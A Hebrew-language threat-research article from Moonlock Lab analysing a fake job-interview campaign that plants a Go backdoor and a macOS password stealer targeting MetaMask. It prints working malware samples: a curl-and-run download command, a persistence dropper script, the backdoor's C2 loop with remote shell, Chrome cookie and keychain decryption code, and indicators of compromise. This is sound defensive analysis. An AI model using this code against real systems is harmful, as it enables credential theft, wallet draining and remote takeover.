paint-brush
נוכלי סייבר משתמשים ברשימות עבודה מזויפות כדי לגנוב קריפטועל ידי@moonlock
2,662 קריאות
2,662 קריאות

נוכלי סייבר משתמשים ברשימות עבודה מזויפות כדי לגנוב קריפטו

על ידי Moonlock (by MacPaw)19m2025/02/13
Read on Terminal Reader

יותר מדי זמן; לקרוא

קמפיין סייבר מתמשך מכוון למחפשי עבודה עם אתרי ראיונות מזויפים, ומרמה אותם להוריד דלת אחורית אך יעילה מאוד. שלא כמו תוכנות זדוניות מתוחכמות המשתמשות בטכניקות ערפול, מתקפה זו מסתמכת על פשטות. עוד יותר מדאיג הוא הניסיון שלה לחטוף את ההרשאות של תוסף Chrome MetaMask הקשור למטבעות קריפטוגרפיים.
featured image - נוכלי סייבר משתמשים ברשימות עבודה מזויפות כדי לגנוב קריפטו
Moonlock (by MacPaw) HackerNoon profile picture
0-item

נכתב על ידי צוות Moonlock Lab של MacPaw


קמפיין סייבר מתמשך מכוון למחפשי עבודה עם אתרי ראיונות מזויפים, ומרמה אותם להוריד דלת אחורית אך יעילה מאוד. בניגוד לתוכנה זדונית מתוחכמת המשתמשת בטכניקות ערפול, מתקפה זו מסתמכת על פשטות - אספקת קוד מקור לצד קובץ בינארי של Go, מה שהופך אותו לפלטפורמות שונות. מדאיג עוד יותר הוא הניסיון שלה לחטוף את ההרשאות של תוסף Chrome הקשור למטבעות קריפטוגרפיים MetaMask, שעלול לרוקן את הארנקים של הקורבנות.


הקמפיין נשאר פעיל, כאשר דומיינים חדשים מופיעים באופן קבוע כדי לפתות קורבנות נוספים. חוקרי אבטחה בודדים וחברות רבות, כגון SentinelOne , dmpdump , ו ENKI WhiteHat , פרסמו ניתוחים מצוינים. הצוות שלנו ערך מחקר עצמאי, ובמאמר זה, אנו חולקים את הממצאים ואסטרטגיות הציד שלנו.


צוות Moonlock Lab החל לעקוב אחר התוכנה הזדונית הזו בדיוק ב-9 באוקטובר 2024, כאשר הרכיבים הראשונים של הדלת האחורית החלו להופיע. דלת אחורית היא סוג של תוכנה זדונית שמתחבאת על מערכת ומאפשרת לשחקני איומים לבצע פקודות מרחוק, כאילו היו הבעלים החוקיים של תחנת העבודה. התקפות אלו משתמשות בדרך כלל בשרתי C2 (Command and Control) כדי לשלוח ולבצע פקודות.


מה שמייחד את ההתקפה הזו מאחרות שאנו רואים בדרך כלל הוא שהיא מורכבת משלבים מרובים ונועדה להימשך במכונה של הקורבן במקום להפעיל זרימת גניבת נתונים בשוט אחד. סקירה מלאה של שלבי התקיפה ניתן לראות בתמונה למטה.



השרשור הראשון בנוי היטב ב-X ששמנו לב אליו פורסם על ידי @tayvano_ , ששיתף מידע על קמפיין זדוני סביר המכוון בעיקר למפתחי תוכנה המחפשים עבודה בחברות בלוקצ'יין.


בדרך כלל מתחיל עם "מגייס" מחברה ידועה, למשל Kraken, MEXC, Gemini, Meta. טווחי שכר + סגנון העברת הודעות הם אטרקטיביים - גם לאלה שאינם מחפשים עבודה באופן פעיל. בעיקר דרך לינקדאין. גם אתרי פרילנסרים, אתרי דרושים, tg, discord וכו'.


כדי להשיג את הגרסה העדכנית ביותר של תוכנה זדונית זו, היה חיוני לעקוב אחר דומיינים חדשים המארחים אתרי ראיונות מזויפים. לצורך כך, הצוות שלנו הסתמך על שני אינדיקטורים בלתי משתנים שחולקים לתחומים אלה:


  • דפוס כתובת אתר דומה "/video-questions/create/" ואחריו מזהה מקודד:

מקור: urlscan.io

  • אותה תמונה ( logo.png ) בדפים:

מקור: urlscan.io


למרות שחלק מהדומיינים שבהם נעשה שימוש במהלך מסע פרסום זה נסגרים, החדשים ממשיכים להופיע, כאשר האחרון עדיין מקוון: smarthiretop[.]online . הצוות שלנו זיהה יותר מ-20 דומיינים פעילים מאז נובמבר 2024.

לאחר חקירת הדומיינים, גילינו שחלקם חולקים את אותה כתובת IP. זה קורה לעתים קרובות מכיוון שתוקפים משתמשים בספקי אירוח חסיני כדורים, המאפשרים לארח דומיינים מרובים באותו שרת. בנוסף, אירוח של מספר דומיינים ב-IP יחיד מאפשר לגורמי איומים לסובב דומיינים מבלי לשנות את התשתית האחורית.

תשתית זדונית זו מתארחת בשירותים שונים המופצים ברחבי העולם. כפי שמוצג במפה למטה, רוב השרתים ממוקמים בארה"ב, כאשר חלקם מפוזרים על פני מדינות אחרות.


הפקודה הזדונית שהמרואיינים התבקשו לבצע מסתתרת בחלון שמופיע כשהם מבקרים באתר זדוני. זהו קוד JS, ארוז בקובץ main.39e5a388.js במקרה זה. שמות קבצים כאלה נוצרים בדרך כלל באמצעות מנגנון גיבוב או טביעת אצבע במהלך תהליך הבנייה של יישום אינטרנט (עיון: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 ).


באחד מהדפים יש את קובץ ה-JS המוטבע הזה עם ה-hash הבא של SHA256:

  • f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803


יכולנו בקלות לזהות שבתוך קובץ JS בנוי נמצאות אותן פקודות שהקורבנות התבקשו להזין:


לאחר שהבנו כיצד שחקן האיום מפיץ את התוכנה הזדונית, המטרה העיקרית שלנו הייתה למצוא במהירות דוגמאות ולפתח חתימות עבור המשתמשים שלנו. האזכור הישיר הראשון של דגימות "מוכנות לייצור" וה-hash SHA-256 שלהן שמצאנו היה בשרשור הזה:

https://x.com/dimitribest/status/1873343968894689472 .


הוא כלל חמישה גיבובים, כלומר עבור:

  • 96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip;
  • 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip;
  • 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip;
  • 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip;
  • c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip.


בנוסף לכך, הצוות שלנו התחיל להביא סקריפטים זדוניים כאילו רימו אותנו להוריד אותם, בדומה לקורבנות. בשלב מסוים, נעשה שימוש בפקודה הבאה באתרי ראיונות מזויפים:

פקודה מצילום המסך (לא לבצע!):

 sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'


הוא מבצע את הפעולות המפורטות להלן:

  • שולף קובץ ffmpeg-ar.sh מ-api[.]nvidia-release[.]org;
  • מאחסן אותו ב- /var/tmp/ffmpeg.sh;
  • מבצע את הקובץ ומפנה את כל הפלט אל /dev/null כדי להסתיר אותו ממשתמש.


בתוך הקובץ ffmpeg.sh שנשמר בתיקייה זמנית, נוכל למצוא את נקודת הכניסה להתקפה זו, הכוללת:

  • הורדת קבצי ZIP בשלב שני עם מטען;
  • הצבת קובץ PLIST ורישום שירות להתמדה;
  • ביצוע ניקוי.


כפי שאנו עשויים לראות מהסקריפט שלהלן, הוא תוכנן במיוחד עבור macOS, הן אינטל והן גרסאות ARM. לאחר שהוא מגדיר את דגם המעבד הנוכחי, הוא מוריד ארכיון ZIP עם מספר קבצים. סקירה מפורטת יותר של תסריט זה ניתן למצוא ב הבלוג הזה , כפי שהוזכר על ידי SentinelOne שלהם דוח אחרון .

 #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup

הַפנָיָה: VirusTotal


תוכן הארכיון (גרסה עבור אינטל CPU) שהסקריפט מביא מפורט להלן:

ניתן לסווג את כל הקבצים בארכיון למספר קבוצות:

  • חלקים מקוד המקור של Go והקבצים הבינאריים שלו ( https://github.com/golang/go )
  • ChromeUpdateAlert.app - AppBundle המכיל קובץ בינארי של Mach-O שאוסף את ה-IP והסיסמה של המשתמש
  • דלת אחורית שנכתבה בגו וגנב
  • vcamservice.sh – סקריפט שמפעיל את קובץ ההפעלה הראשי מבוסס Go


מעניין לציין שהארכיון הוא בגודל של כ-75 מגה-בייט, בעיקר בגלל שהוא כולל חלקים רבים של ספריות Go ובינאריות לגיטימיות.

ניתוח של גנב הסיסמאות של Mach-O

אחד הקבצים שצפינו בשימוש במשך תקופה ארוכה בהתקפה זו הוא קובץ בינארי אוניברסלי של Mach-O עם 2 ארכיטקטורות, בשם CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd75ebd39526c 7e).


הוא מתחזה לסמל של Google Chrome, גורם למשתמשים רגילים להאמין שהקובץ לגיטימי ומונע מהם למחוק אותו.

הקוד כתוב בסוויפט, ולא זוהו טכניקות ערפול חזקות, מה שמקל יחסית על הבנת זרימת הביצוע.

הוא מציג חלון שנראה כמו חלון הודעות מערכת, המבקש מהמשתמש להעניק גישה למיקרופון, כביכול מתבקש מאפליקציית Google Chrome.

גם אם המשתמש בוחר "תזכיר לי מאוחר יותר", עדיין מופיע חלון הנחיית סיסמה.

האפליקציה טוענת שהיא דורשת גישה למיקרופון; עם זאת, הוא נמצא בארגז חול, ולא מתבצעת בקשת הרשאה ממשית עבור המיקרופון.

לאחר שהמשתמש מזין את הסיסמה שלו, התוכנה הזדונית מבקשת את כתובת ה-IP החיצונית של המארח שעליו היא פועלת. לאחר מכן הוא שולח את קובץ password.txt לתיקיית Dropbox הקרויה על שם כתובת ה-IP החיצונית של המשתמש.

בצילום המסך למטה ניתן לזהות את כתובת האתר של Dropbox API.

בזמן בחינת תעבורת הרשת, יכולנו לראות ניסיונות לאחזר כתובת IP ציבורית של קורבן.

לאחר קבלת כתובת ה-IP, נוכל לראות בקשות ל-Dropbox על מנת להעלות צמד סיסמת IP באמצעות אישורים מקודדים.

הצוות שלנו דיווח על התקרית הזו לדרופבוקס, יחד עם האישורים ששימשו לניהול הקמפיין הפוגעני הזה.

ניתוח הדלת האחורית שנכתבה בגו

חשוב לציין שקובץ ה-ZIP שהורד על ידי הסקריפט ffmpeg.sh מכיל את קוד המקור בטקסט רגיל של הדלת האחורית, כלומר הוא לא עבר קומפילציה מראש או ערפול. זה האיץ משמעותית את הניתוח אך גם העלה שאלות לגבי ייחוס נכון. מיותר לציין שקבוצות APT מ-DPRK הן בדרך כלל הרבה יותר מתוחכמות.


אסטרטגיה יוצאת דופן נוספת היא הכללת Go בינארי ( /bin/go ) בארכיון במקום פשוט להרכיב את הקוד המלא. עם זאת, מכיוון ש-Go אינו יישום ברירת המחדל במערכות הפעלה רבות, ייתכן שגורמי האיום כללו אותו למען תאימות טובה יותר. זה הגיוני בהתחשב בכך שהתוכנה הזדונית היא חוצה פלטפורמות ומכוונת ל-macOS, Linux ו-Windows בו-זמנית.


גרף הממחיש קשרים ותיאור מפורט של כל מדגם ראוי לציון, ניתן למצוא כאן: תַמצִית

נקודת כניסה

בתוך הארכיון, יש סקריפט בשם vcamupdate.sh . הוא פועל מיד לאחר הפריקה ופשוט מבצע את /bin/go (המצורף ב-ZIP) תוך כדי העברת הנתיב לאפליקציית Golang הראשית (במקרה זה app.go ).

 #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0


אפליקציית הכניסה ( app.go ) אחראית על יצירת UUID ייחודי עבור תחנת העבודה של המשתמש, אתחול כתובת ה-C2 והפעלת הלולאה הראשית. בקוד נוכל לראות הערות בשורה אחת, הדפסות של הודעות תומכות, וכמה קוד שהגיב. זה כולל גם כתובות URL שכנראה מיועדות לבדיקה, ששכחו להסירן על ידי המפתחים. למרות שכתובת ה-IP C2 שונה במסע הפרסום הראשי, דגימות משנת 2024 חלקו את אותה פונקציונליות והתמקדו באותם נתונים.


מאוחר יותר הקריאה ל- core.StartMainLoop(id, url) מביאה אותנו אל הליבה/ תיקיה עם קבצי loop.go ו- work.go. קובץ loop.go אחראי בעיקר על קבלה וביצוע של פקודות מ-C2, קריאת תת-מודולים אשר אוספים נתונים רגישים, והעלאתם לשרת המרוחק. הוא מכיל פונקציות רבות, 8 מהן נרצה להדגיש ולחקור ביתר פירוט.

פונקציה StartMainLoop

פונקציה זו משתמשת בתת-מודול התצורה כדי לאתחל פקודות זמינות ולהאזין לפקודות הנכנסות. למטה תוכלו למצוא טבלה עם כל הפקודות יחד עם הקודים המתאימים להן. ניתן למצוא ניתוח מפורט יותר של הפונקציונליות של הדלת האחורית ב פרסום זה .

שם פקודה

שם מקודד

תֵאוּר

COMMAND_INFO

qwer

קבל שם משתמש, מארח, מערכת הפעלה, קשת

COMMAND_UPLOAD

asdf

העלה ודחוס ארכיון שרירותי מ-C2 לארח

COMMAND_DOWNLOAD

zxcv

הורד נתונים גנובים ל-C2

COMMAND_OSSHELL

vbcx

אתחול מעטפת אינטראקטיבית בין המארח ל-C2 (הפעל פקודות מרחוק שרירותיות)

COMMAND_AUTO

r4ys

איסוף אוטומטי של נתונים רגישים

COMMAND_WAIT

ghdj

המתן X שניות

COMMAND_EXIT

dghh

צא מהלולאה הראשית (מוגדר בחיים=שקר)

בהתבסס על הפקודה שהתקבלה מ-C2, תיקרא פונקציה מתאימה.

 func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }

פונקציה processInfo

פונקציה זו תאסוף מידע בסיסי על המערכת כגון שם משתמש, שם מארח, גרסת מערכת ההפעלה וארכיטקטורה. ראוי לציין שרוב גונבי המידע הפופולריים אוספים הרבה יותר מידע מערכת מאשר תוכנה זדונית זו.

 func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }

תהליך פונקציה העלאה

במקרה זה, העלאה מייצגת את התהליך של שליחת קובץ ארכיון מה-C2 למארח הנגוע, ולאחר מכן ביטול הדחיסה שלו. זה גם מציין אם הדקומפרסיה הצליחה.

 func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }

תהליך פונקציה הורדה

פונקציה זו היא ההפך מקודמתה. הוא מבצע דחיסה של ספרייה עם קבצים שנאספו מראש לארכיון tar.gz.

 func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }

פונקציה processOsShell

זוהי פונקציה שחייבת להיות לדלת אחורית אמיתית. הוא ממתין לפקודה שרירותית ולנסיונות לבצע אותה. לפקודה עשויים להיות ארגומנטים של שורת פקודה, והפלט יירשם ישירות ל-C2.

 func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }

פונקציה תהליך אוטומטי

זוהי נקודת הכניסה של זרימת הגניבה. פונקציה זו מכילה שיחות מרובות לקבצים הנמצאים באוטו/ תיקיה. הם כוללים תופסים, מעבדים או משנה של הנתונים הבאים:

  • מחזיק מפתחות
  • נתוני התחברות של Chrome
  • קובצי Cookie של Chrome
  • תוסף Chrome MetaMask (מפתחות, הרשאות וכו')
  • פרופיל Chrome
 func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }

תהליך פונקציהחכה

פונקציית שירות המשמשת לשליחת דלת אחורית למצב שינה, בהמתנה לפקודות נוספות.

 func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }

פונקציה תהליך יציאה

זוהי פונקציית שירות המשמשת ליציאה מהלולאה הראשית של התקשורת עם ה-C2.

 func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }

הטמעת איסוף אוטומטי של נתונים של Chrome

התיקיה האוטומטית/ ה מכילה קבוצה של אפליקציות Go:

  • basic.go

     const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
    • כאן אנו יכולים לראות קבועים מוגדרים עם נתוני יעד ללכוד, זה הופך להיות ברור שהפוקוס העיקרי הוא על הרחבת MetaMask.
  • chrome_change_pref.go

     // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
     // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
    • זה הורג את כל תהליכי Chrome הפעילים כרגע, ומשנה הרשאות מסוימות עבור תוסף MetaMask .
    • תצורת JSON מציעה התנהגות זדונית של התוסף בשל ההרשאות הנרחבות ושיטת ההתקנה הידנית שלו.
    • ההרשאה " webRequest " מאפשרת לתוסף ליירט ולשנות בקשות רשת, מה שמאפשר גניבת נתונים או התקפות דיוג. ניתן להשתמש בהרשאת " clipboardWrite " כדי ללכוד ולשנות את נתוני הלוח, שעלולה לגנוב כתובות או סיסמאות של מטבעות קריפטוגרפיים.
    • הקטע " scriptable_host ", הכולל את " file:///* ", " https://*/* " ו- " http://*/* ", מאפשר ביצוע סקריפטים בכל אתרי האינטרנט וגישה לקבצים מקומיים, מה שמאפשר גניבת אישורים או חילוץ נתונים לא מורשה.
    • הקטע " explicit_host " מעניק גישה לדומיינים הקשורים למטבעות קריפטוגרפיים, כגון https://*.infura.io/* ו- https://*.cx.metamask.io/* , שניתן לנצל אותם כדי לתמרן עסקאות.
    • השדה " from_webstore ": false מציין שהתוסף הותקן באופן ידני או באמצעים לא מורשים, מה שמצביע על שיבוש אפשרי. השדה " פקודות " מקצה קיצור מקלדת להפעלת התוסף, שעלול להפעיל התנהגות זדונית נסתרת.
    • גורמים משולבים אלה מצביעים על כך שההרחבה עשויה לשמש לגישה לא מורשית, גניבת נתונים או הונאה פיננסית.
  • chrome_cookie_darwin.go

     var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
    • משמש לאחזור סיסמה הקשורה ל-Google Chrome מאחסון מקומי.
    • אוסף נתוני מחזיק מפתחות עם אחסון נוסף לתוך gatherchain.tar.gz .
  • chrome_cookie_other.go

    • אותו דבר אבל ללינוקס.
  • chrome_cookie_win.go

    • אותו דבר אבל עבור Windows.
  • chrome_gather.go

     func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
    • אוסף הגדרות תוסף מקומי (אם הן קיימות במערכת) ואורז אותן ב-collect.tag.gz

מסקנות

לסיום הניתוח שלנו, עלינו להדגיש את הנקודות החשובות ביותר:

  • לאחר גניבת סיסמאות מוצלחת, ניתן לגשת מרחוק לתחנת העבודה של הקורבן באמצעות C2 כדי לגנוב עוד יותר נתונים, כולל קבצים אישיים המאוחסנים במערכת. זה הופך את התוכנה הזדונית הזו למסוכנת הרבה יותר מאשר גונבים רגילים שבדרך כלל פועלים על המערכת פעם אחת, ואוספים רק את הקבצים שנמצאים ברשימה שלהם.
  • קוד דלת אחורית נכתב על פי שיטות עבודה מומלצות לתכנות, הערות נשארות כפי שהן, מה שמותיר שאלה פתוחה מדוע הקוד לא הודר מראש.
  • רק הרחבה אחת הקשורה למטבעות קריפטו ממוקדת, ככל הנראה מסתמכת על השגת גישה מרחוק לחיפוש ידני אחר כלי קריפטו פופולריים אחרים ונתונים רגישים במערכת.
  • הקמפיין עדיין נמשך, מה שמעיד על כך שהאסטרטגיה של שחקני האיומים נשארת יעילה ואינה דורשת שינויים מיידיים. עם זאת, אנו מאמינים שמסעות פרסום דומים עשויים להופיע בקרוב עם תשתית מעודכנת.

IOC

דומיינים

 app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com

SHA256

 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182

C2

 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080